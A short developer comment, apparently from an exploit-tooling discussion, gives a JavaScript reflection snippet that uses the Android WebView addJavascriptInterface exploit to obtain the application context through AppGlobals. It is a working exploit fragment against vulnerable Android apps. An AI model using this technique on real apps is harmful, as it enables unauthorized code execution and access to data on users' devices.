I have tested this working in the webview_addJavascriptInterface exploit (in javascript), you can use reflection API to get a handle of the global app context:

```
var m = obj.getClass().forName('android.app.AppGlobals').getMethod('getInitialApplication', null);
alert(m.invoke(null,null));
```

From: https://android.googlesource.com/platform/frameworks/base/+/9a7debe5857ffc7c71cfc4082b1b6d72a5cf81cd/core/java/android/app/AppGlobals.java

Seems to work to return the right context in the web browser (only works in the main thread). Dunno if this will fix the issue with missing context when run via `dalvikvm` though.